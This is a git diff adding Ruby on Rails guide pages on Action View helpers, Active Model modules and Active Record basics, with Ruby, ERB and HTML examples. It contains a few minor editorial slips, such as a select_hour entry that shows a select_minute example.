+For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site.
+
+**app/views/layouts/application.html.erb**
+
+```html+erb
+<html>
+ <head>
+ <title>Welcome!</title>
+ <%= yield :special_script %>
+ </head>
+ <body>
+ <p>Welcome! The date and time is <%= Time.now %></p>
+ </body>
+</html>
+```
+
+**app/views/posts/special.html.erb**
+
+```html+erb
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+ <script>alert('Hello!')</script>
+<% end %>
+```
+
+### DateHelper
+
+#### date_select
+
+Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
+
+```ruby
+date_select("post", "published_on")
+```
+
+#### datetime_select
+
+Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
+
+```ruby
+datetime_select("post", "published_on")
+```
+
+#### distance_of_time_in_words
+
+Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations.
+
+```ruby
+distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) # => less than 20 seconds
+```
+
+#### select_date
+
+Returns a set of html select-tags (one for year, month, and day) pre-selected with the `date` provided.
+
+```ruby
+# Generates a date select that defaults to the date provided (six days after today)
+select_date(Time.today + 6.days)
+
+# Generates a date select that defaults to today (no specified date)
+select_date()
+```
+
+#### select_datetime
+
+Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
+
+```ruby
+# Generates a datetime select that defaults to the datetime provided (four days after today)
+select_datetime(Time.now + 4.days)
+
+# Generates a datetime select that defaults to today (no specified datetime)
+select_datetime()
+```
+
+#### select_day
+
+Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+
+```ruby
+# Generates a select field for days that defaults to the day for the date provided
+select_day(Time.today + 2.days)
+
+# Generates a select field for days that defaults to the number given
+select_day(5)
+```
+
+#### select_hour
+
+Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+
+```ruby
+# Generates a select field for minutes that defaults to the minutes for the time provided
+select_minute(Time.now + 6.hours)
+```
+
+#### select_minute
+
+Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+
+```ruby
+# Generates a select field for minutes that defaults to the minutes for the time provided.
+select_minute(Time.now + 6.hours)
+```
+
+#### select_month
+
+Returns a select tag with options for each of the months January through December with the current month selected.
+
+```ruby
+# Generates a select field for months that defaults to the current month
+select_month(Date.today)
+```
+
+#### select_second
+
+Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+
+```ruby
+# Generates a select field for seconds that defaults to the seconds for the time provided
+select_second(Time.now + 16.minutes)
+```
+
+#### select_time
+
+Returns a set of html select-tags (one for hour and minute).
+
+```ruby
+# Generates a time select that defaults to the time provided
+select_time(Time.now)
+```
+
+#### select_year
+
+Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`.
+
+```ruby
+# Generates a select field for five years on either side of Date.today that defaults to the current year
+select_year(Date.today)
+
+# Generates a select field from 1900 to 2009 that defaults to the current year
+select_year(Date.today, start_year: 1900, end_year: 2009)
+```
+
+#### time_ago_in_words
+
+Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`.
+
+```ruby
+time_ago_in_words(3.minutes.from_now) # => 3 minutes
+```
+
+#### time_select
+
+Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
+
+```ruby
+# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
+time_select("order", "submitted")
+```
+
+### DebugHelper
+
+Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object.
+
+```ruby
+my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
+debug(my_hash)
+```
+
+```html
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+```
+
+### FormHelper
+
+Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed bac [...]
+
+There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
+
+The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
+
+```html+erb
+# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
+<%= form_for @person, url: {action: "create"} do |f| %>
+ <%= f.text_field :first_name %>
+ <%= f.text_field :last_name %>
+ <%= submit_tag 'Create' %>
+<% end %>
+```
+
+The HTML generated for this would be:
+
+```html
+<form action="/people/create" method="post">
+ <input id="person_first_name" name="person[first_name]" type="text" />
+ <input id="person_last_name" name="person[last_name]" type="text" />
+ <input name="commit" type="submit" value="Create" />
+</form>
+```
+
+The params object created when this form is submitted would look like:
+
+```ruby
+{"action" => "create", "controller" => "people", "person" => {"first_name" => "William", "last_name" => "Smith"}}
+```
+
+The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
+
+#### check_box
+
+Returns a checkbox tag tailored for accessing a specified attribute.
+
+```ruby
+# Let's say that @post.validated? is 1:
+check_box("post", "validated")
+# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
+# <input name="post[validated]" type="hidden" value="0" />
+```
+
+#### fields_for
+
+Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
+
+```html+erb
+<%= form_for @person, url: {action: "update"} do |person_form| %>
+ First name: <%= person_form.text_field :first_name %>
+ Last name : <%= person_form.text_field :last_name %>
+
+ <%= fields_for @person.permission do |permission_fields| %>
+ Admin? : <%= permission_fields.check_box :admin %>
+ <% end %>
+<% end %>
+```
+
+#### file_field
+
+Returns a file upload input tag tailored for accessing a specified attribute.
+
+```ruby
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+```
+
+#### form_for
+
+Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
+
+```html+erb
+<%= form_for @post do |f| %>
+ <%= f.label :title, 'Title' %>:
+ <%= f.text_field :title %><br />
+ <%= f.label :body, 'Body' %>:
+ <%= f.text_area :body %><br />
+<% end %>
+```
+
+#### hidden_field
+
+Returns a hidden input tag tailored for accessing a specified attribute.
+
+```ruby
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+```
+
+#### label
+
+Returns a label tag tailored for labelling an input field for a specified attribute.
+
+```ruby
+label(:post, :title)
+# => <label for="post_title">Title</label>
+```
+
+#### password_field
+
+Returns an input tag of the "password" type tailored for accessing a specified attribute.
+
+```ruby
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+```
+
+#### radio_button
+
+Returns a radio button tag for accessing a specified attribute.
+
+```ruby
+# Let's say that @post.category returns "rails":
+radio_button("post", "category", "rails")
+radio_button("post", "category", "java")
+# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+# <input type="radio" id="post_category_java" name="post[category]" value="java" />
+```
+
+#### text_area
+
+Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
+
+```ruby
+text_area(:comment, :text, size: "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+# #{@comment.text}
+# </textarea>
+```
+
+#### text_field
+
+Returns an input tag of the "text" type tailored for accessing a specified attribute.
+
+```ruby
+text_field(:post, :title)
+# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
+```
+
+### FormOptionsHelper
+
+Provides a number of methods for turning different kinds of containers into a set of option tags.
+
+#### collection_select
+
+Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+ belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+ has_many :posts
+ def name_with_initial
+ "#{first_name.first}. #{last_name}"
+ end
+end
+```
+
+Sample usage (selecting the associated Author for an instance of Post, `@post`):
+
+```ruby
+collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {prompt: true})
+```
+
+If `@post.author_id` is 1, this would return:
+
+```html
+<select name="post[author_id]">
+ <option value="">Please select</option>
+ <option value="1" selected="selected">D. Heinemeier Hansson</option>
+ <option value="2">D. Thomas</option>
+ <option value="3">M. Clark</option>
+</select>
+```
+
+#### collection_radio_buttons
+
+Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+ belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+ has_many :posts
+ def name_with_initial
+ "#{first_name.first}. #{last_name}"
+ end
+end
+```
+
+Sample usage (selecting the associated Author for an instance of Post, `@post`):
+
+```ruby
+collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+```
+
+If `@post.author_id` is 1, this would return:
+
+```html
+<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+<label for="post_author_id_1">D. Heinemeier Hansson</label>
+<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+<label for="post_author_id_2">D. Thomas</label>
+<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+<label for="post_author_id_3">M. Clark</label>
+```
+
+#### collection_check_boxes
+
+Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+ has_and_belongs_to_many :author
+end
+
+class Author < ActiveRecord::Base
+ has_and_belongs_to_many :posts
+ def name_with_initial
+ "#{first_name.first}. #{last_name}"
+ end
+end
+```
+
+Sample usage (selecting the associated Authors for an instance of Post, `@post`):
+
+```ruby
+collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+```
+
+If `@post.author_ids` is [1], this would return:
+
+```html
+<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="post_author_ids_1">D. Heinemeier Hansson</label>
+<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+<label for="post_author_ids_2">D. Thomas</label>
+<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+<label for="post_author_ids_3">M. Clark</label>
+<input name="post[author_ids][]" type="hidden" value="" />
+```
+
+#### country_options_for_select
+
+Returns a string of option tags for pretty much any country in the world.
+
+#### country_select
+
+Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+
+#### option_groups_from_collection_for_select
+
+Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments.
+
+Example object structure for use with this method:
+
+```ruby
+class Continent < ActiveRecord::Base
+ has_many :countries
+ # attribs: id, name
+end
+
+class Country < ActiveRecord::Base
+ belongs_to :continent
+ # attribs: id, name, continent_id
+end
+```
+
+Sample usage:
+
+```ruby
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+```
+
+Possible output:
+
+```html
+<optgroup label="Africa">
+ <option value="1">Egypt</option>
+ <option value="4">Rwanda</option>
+ ...
+</optgroup>
+<optgroup label="Asia">
+ <option value="3" selected="selected">China</option>
+ <option value="12">India</option>
+ <option value="5">Japan</option>
+ ...
+</optgroup>
+```
+
+Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag.
+
+#### options_for_select
+
+Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
+
+```ruby
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+```
+
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+
+#### options_from_collection_for_select
+
+Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text.
+
+```ruby
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+```
+
+For example, imagine a loop iterating over each person in @project.people to generate an input tag:
+
+```ruby
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+```
+
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+
+#### select
+
+Create a select tag and a series of contained option tags for the provided object and method.
+
+Example:
+
+```ruby
+select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true})
+```
+
+If `@post.person_id` is 1, this would become:
+
+```html
+<select name="post[person_id]">
+ <option value=""></option>
+ <option value="1" selected="selected">David</option>
+ <option value="2">Sam</option>
+ <option value="3">Tobias</option>
+</select>
+```
+
+#### time_zone_options_for_select
+
+Returns a string of option tags for pretty much any time zone in the world.
+
+#### time_zone_select
+
+Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+
+```ruby
+time_zone_select( "user", "time_zone")
+```
+
+### FormTagHelper
+
+Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+
+#### check_box_tag
+
+Creates a check box form input tag.
+
+```ruby
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+```
+
+#### field_set_tag
+
+Creates a field set for grouping HTML form elements.
+
+```html+erb
+<%= field_set_tag do %>
+ <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+```
+
+#### file_field_tag
+
+Creates a file upload field.
+
+```html+erb
+<%= form_tag {action: "post"}, {multipart: true} do %>
+ <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+ <%= submit_tag %>
+<% end %>
+```
+
+Example output:
+
+```ruby
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+```
+
+#### form_tag
+
+Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`.
+
+```html+erb
+<%= form_tag '/posts' do %>
+ <div><%= submit_tag 'Save' %></div>
+<% end %>
+# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+```
+
+#### hidden_field_tag
+
+Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
+
+```ruby
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+```
+
+#### image_submit_tag
+
+Displays an image which when clicked will submit the form.
+
+```ruby
+image_submit_tag("login.png")
+# => <input src="/images/login.png" type="image" />
+```
+
+#### label_tag
+
+Creates a label field.
+
+```ruby
+label_tag 'name'
+# => <label for="name">Name</label>
+```
+
+#### password_field_tag
+
+Creates a password field, a masked text field that will hide the users input behind a mask character.
+
+```ruby
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+```
+
+#### radio_button_tag
+
+Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
+
+```ruby
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+```
+
+#### select_tag
+
+Creates a dropdown selection box.
+
+```ruby
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+```
+
+#### submit_tag
+
+Creates a submit button with the text provided as the caption.
+
+```ruby
+submit_tag "Publish this post"
+# => <input name="commit" type="submit" value="Publish this post" />
+```
+
+#### text_area_tag
+
+Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+
+```ruby
+text_area_tag 'post'
+# => <textarea id="post" name="post"></textarea>
+```
+
+#### text_field_tag
+
+Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
+
+```ruby
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+```
+
+### JavaScriptHelper
+
+Provides functionality for working with JavaScript in your views.
+
+#### button_to_function
+
+Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
+
+```ruby
+button_to_function "Greeting", "alert('Hello world!')"
+button_to_function "Delete", "if (confirm('Really?')) do_delete()"
+button_to_function "Details" do |page|
+ page[:details].visual_effect :toggle_slide
+end
+```
+
+#### define_javascript_functions
+
+Includes the Action Pack JavaScript libraries inside a single `script` tag.
+
+#### escape_javascript
+
+Escape carrier returns and single and double quotes for JavaScript segments.
+
+#### javascript_tag
+
+Returns a JavaScript tag wrapping the provided code.
+
+```ruby
+javascript_tag "alert('All is good')"
+```
+
+```html
+<script>
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+```
+
+#### link_to_function
+
+Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
+
+```ruby
+link_to_function "Greeting", "alert('Hello world!')"
+# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
+```
+
+### NumberHelper
+
+Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
+
+#### number_to_currency
+
+Formats a number into a currency string (e.g., $13.65).
+
+```ruby
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+```
+
+#### number_to_human_size
+
+Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
+
+```ruby
+number_to_human_size(1234) # => 1.2 KB
+number_to_human_size(1234567) # => 1.2 MB
+```
+
+#### number_to_percentage
+
+Formats a number as a percentage string.
+
+```ruby
+number_to_percentage(100, :precision => 0) # => 100%
+```
+
+#### number_to_phone
+
+Formats a number into a US phone number.
+
+```ruby
+number_to_phone(1235551234) # => 123-555-1234
+```
+
+#### number_with_delimiter
+
+Formats a number with grouped thousands using a delimiter.
+
+```ruby
+number_with_delimiter(12345678) # => 12,345,678
+```
+
+#### number_with_precision
+
+Formats a number with the specified level of `precision`, which defaults to 3.
+
+```ruby
+number_with_precision(111.2345) # => 111.235
+number_with_precision(111.2345, 2) # => 111.23
+```
+
+Localized Views
+---------------
+
+Action View has the ability render different templates depending on the current locale.
+
+For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+
+You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
+
+Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
+
+```ruby
+before_action :set_expert_locale
+
+def set_expert_locale
+ I18n.locale = :expert if current_user.expert?
+end
+```
+
+Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
+
+You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
+
+Using Action View outside of Rails
+----------------------------------
+
+Action View is a Rails component, but it can also be used without Rails. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
+
+Let's start by ensuring that you have the Action Pack and Rack gems installed:
+
+```bash
+$ gem install actionpack
+$ gem install rack
+```
+
+Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support.
+
+**hello_world.rb:**
+
+```ruby
+require 'active_support/core_ext/string/inflections'
+require 'rack'
+
+def hello_world(env)
+ [200, {"Content-Type" => "text/html"}, "hello world".titleize]
+end
+
+Rack::Handler::Mongrel.run method(:hello_world), Port: 4567
+```
+
+We can see this all come together by starting up the application and then visiting `http://localhost:4567/`
+
+```bash
+$ ruby hello_world.rb
+```
+
+TODO needs a screenshot? I have one - not sure where to put it.
+
+Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method.
+
+Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way.
+
+Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
+
+```bash
+$ gem install actionpack
+$ gem install sinatra
+```
+
+Now we'll create the same "Hello World" application in Sinatra.
+
+**hello_world.rb:**
+
+```ruby
+require 'action_view'
+require 'sinatra'
+
+get '/' do
+ erb 'hello world'.titleize
+end
+```
+
+Then, we can run the application:
+
+```bash
+$ ruby hello_world.rb
+```
+
+Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/`
+
+TODO needs a screenshot? I have one - not sure where to put it.
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
new file mode 100644
index 0000000..68ac26c
--- /dev/null
+++ b/guides/source/active_model_basics.md
@@ -0,0 +1,200 @@
+Active Model Basics
+===================
+
+This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-Active Record models. Active Model also helps building custom ORMs for use outside of the Rails framework.
+
+After reading this guide, you will know:
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.
+
+### AttributeMethods
+
+The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
+
+```ruby
+class Person
+ include ActiveModel::AttributeMethods
+
+ attribute_method_prefix 'reset_'
+ attribute_method_suffix '_highest?'
+ define_attribute_methods 'age'
+
+ attr_accessor :age
+
+ private
+ def reset_attribute(attribute)
+ send("#{attribute}=", 0)
+ end
+
+ def attribute_highest?(attribute)
+ send(attribute) > 100
+ end
+end
+
+person = Person.new
+person.age = 110
+person.age_highest? # true
+person.reset_age # 0
+person.age_highest? # false
+```
+
+### Callbacks
+
+Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
+
+```ruby
+class Person
+ extend ActiveModel::Callbacks
+
+ define_model_callbacks :update
+
+ before_update :reset_me
+
+ def update
+ run_callbacks(:update) do
+ # This will call when we are trying to call update on object.
+ end
+ end
+
+ def reset_me
+ # This method will call when you are calling update on object as a before_update callback as defined.
+ end
+end
+```
+
+### Conversion
+
+If a class defines `persisted?` and `id` methods then you can include `Conversion` module in that class and you can able to call Rails conversion methods to objects of that class.
+
+```ruby
+class Person
+ include ActiveModel::Conversion
+
+ def persisted?
+ false
+ end
+
+ def id
+ nil
+ end
+end
+
+person = Person.new
+person.to_model == person # => true
+person.to_key # => nil
+person.to_param # => nil
+```
+
+### Dirty
+
+An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes `first_name` and `last_name`:
+
+```ruby
+require 'active_model'
+
+class Person
+ include ActiveModel::Dirty
+ define_attribute_methods :first_name, :last_name
+
+ def first_name
+ @first_name
+ end
+
+ def first_name=(value)
+ first_name_will_change!
+ @first_name = value
+ end
+
+ def last_name
+ @last_name
+ end
+
+ def last_name=(value)
+ last_name_will_change!
+ @last_name = value
+ end
+
+ def save
+ @previously_changed = changes
+ # do save work...
+ end
+end
+```
+
+#### Querying object directly for its list of all changed attributes.
+
+```ruby
+person = Person.new
+person.changed? # => false
+
+person.first_name = "First Name"
+person.first_name # => "First Name"
+
+# returns if any attribute has changed.
+person.changed? # => true
+
+# returns a list of attributes that have changed before saving.
+person.changed # => ["first_name"]
+
+# returns a hash of the attributes that have changed with their original values.
+person.changed_attributes # => {"first_name"=>nil}
+
+# returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
+person.changes # => {"first_name"=>[nil, "First Name"]}
+```
+
+#### Attribute based accessor methods
+
+Track whether the particular attribute has been changed or not.
+
+```ruby
+# attr_name_changed?
+person.first_name # => "First Name"
+person.first_name_changed? # => true
+```
+
+Track what was the previous value of the attribute.
+
+```ruby
+# attr_name_was accessor
+person.first_name_was # => "First Name"
+```
+
+Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.
+
+```ruby
+# attr_name_change
+person.first_name_change # => [nil, "First Name"]
+person.last_name_change # => nil
+```
+
+### Validations
+
+Validations module adds the ability to class objects to validate them in Active Record style.
+
+```ruby
+class Person
+ include ActiveModel::Validations
+
+ attr_accessor :name, :email, :token
+
+ validates :name, presence: true
+ validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
+ validates! :token, presence: true
+end
+
+person = Person.new(token: "2b1f325")
+person.valid? # => false
+person.name = 'vishnu'
+person.email = 'me'
+person.valid? # => false
+person.email = 'me at vishnuatrai.com'
+person.valid? # => true
+person.token = nil
+person.valid? # => raises ActiveModel::StrictValidationFailed
+```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
new file mode 100644
index 0000000..fc8fac4
--- /dev/null
+++ b/guides/source/active_record_basics.md
@@ -0,0 +1,373 @@
+Active Record Basics
+====================
+
+This guide is an introduction to Active Record.
+
+After reading this guide, you will know:
+
+* What Object Relational Mapping and Active Record are and how they are used in
+ Rails.
+* How Active Record fits into the Model-View-Controller paradigm.
+* How to use Active Record models to manipulate data stored in a relational
+ database.
+* Active Record schema naming conventions.
+* The concepts of database migrations, validations and callbacks.
+
+--------------------------------------------------------------------------------
+
+What is Active Record?
+----------------------
+
+Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the
+model - which is the layer of the system responsible for representing business
+data and logic. Active Record facilitates the creation and use of business
+objects whose data requires persistent storage to a database. It is an
+implementation of the Active Record pattern which itself is a description of an
+Object Relational Mapping system.
+
+### The Active Record Pattern
+
+[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html)
+in his book _Patterns of Enterprise Application Architecture_. In
+Active Record, objects carry both persistent data and behavior which
+operates on that data. Active Record takes the opinion that ensuring
+data access logic is part of the object will educate users of that
+object on how to write to and read from the database.
+
+### Object Relational Mapping
+
+Object-Relational Mapping, commonly referred to as its abbreviation ORM, is
+a technique that connects the rich objects of an application to tables in
+a relational database management system. Using ORM, the properties and
+relationships of the objects in an application can be easily stored and
+retrieved from a database without writing SQL statements directly and with less
+overall database access code.
+
+### Active Record as an ORM Framework
+
+Active Record gives us several mechanisms, the most important being the ability
+to:
+
+* Represent models and their data
+* Represent associations between these models
+* Represent inheritance hierarchies through related models
+* Validate models before they get persisted to the database
+* Perform database operations in an object-oriented fashion.
+
+Convention over Configuration in Active Record
+----------------------------------------------
+
+When writing applications using other programming languages or frameworks, it
+may be necessary to write a lot of configuration code. This is particularly true
+for ORM frameworks in general. However, if you follow the conventions adopted by
+Rails, you'll need to write very little configuration (in some case no
+configuration at all) when creating Active Record models. The idea is that if
+you configure your applications in the very same way most of the times then this
+should be the default way. In this cases, explicit configuration would be needed
+only in those cases where you can't follow the conventions for any reason.
+
+### Naming Conventions
+
+By default, Active Record uses some naming conventions to find out how the
+mapping between models and database tables should be created. Rails will
+pluralize your class names to find the respective database table. So, for
+a class `Book`, you should have a database table called **books**. The Rails
+pluralization mechanisms are very powerful, being capable to pluralize (and
+singularize) both regular and irregular words. When using class names composed
+of two or more words, the model class name should follow the Ruby conventions,
+using the CamelCase form, while the table name must contain the words separated
+by underscores. Examples:
+
+* Database Table - Plural with underscores separating words (e.g., `book_clubs`)
+* Model Class - Singular with the first letter of each word capitalized (e.g.,
+`BookClub`)
+
+| Model / Class | Table / Schema |
+| ------------- | -------------- |
+| `Post` | `posts` |
+| `LineItem` | `line_items` |
+| `Deer` | `deer` |
+| `Mouse` | `mice` |
+| `Person` | `people` |
+
+
+### Schema Conventions
+
+Active Record uses naming conventions for the columns in database tables,
+depending on the purpose of these columns.
+
+* **Foreign keys** - These fields should be named following the pattern
+ `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the
+ fields that Active Record will look for when you create associations between
+ your models.
+* **Primary keys** - By default, Active Record will use an integer column named
+ `id` as the table's primary key. When using [Rails
+ Migrations](migrations.html) to create your tables, this column will be
+ automatically created.
+
+There are also some optional column names that will create additional features
+to Active Record instances:
+
+* `created_at` - Automatically gets set to the current date and time when the
+ record is first created.
+* `updated_at` - Automatically gets set to the current date and time whenever
+ the record is updated.
+* `lock_version` - Adds [optimistic
+ locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
+ a model.
+* `type` - Specifies that the model uses [Single Table
+ Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)
+* `(association_name)_type` - Stores the type for
+ [polymorphic associations](association_basics.html#polymorphic-associations).
+* `(table_name)_count` - Used to cache the number of belonging objects on
+ associations. For example, a `comments_count` column in a `Post` class that
+ has many instances of `Comment` will cache the number of existent comments
+ for each post.
+
+NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+
+Creating Active Record Models
+-----------------------------
+
+It is very easy to create Active Record models. All you have to do is to
+subclass the `ActiveRecord::Base` class and you're good to go:
+
+```ruby
+class Product < ActiveRecord::Base
+end
+```
+
+This will create a `Product` model, mapped to a `products` table at the
+database. By doing this you'll also have the ability to map the columns of each
+row in that table with the attributes of the instances of your model. Suppose
+that the `products` table was created using an SQL sentence like:
+
+```sql
+CREATE TABLE products (
+ id int(11) NOT NULL auto_increment,
+ name varchar(255),
+ PRIMARY KEY (id)
+);
+```
+
+Following the table schema above, you would be able to write code like the
+following:
+
+```ruby
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+```
+
+Overriding the Naming Conventions
+---------------------------------
+
+What if you need to follow a different naming convention or need to use your
+Rails application with a legacy database? No problem, you can easily override
+the default conventions.
+
+You can use the `ActiveRecord::Base.table_name=` method to specify the table
+name that should be used:
+
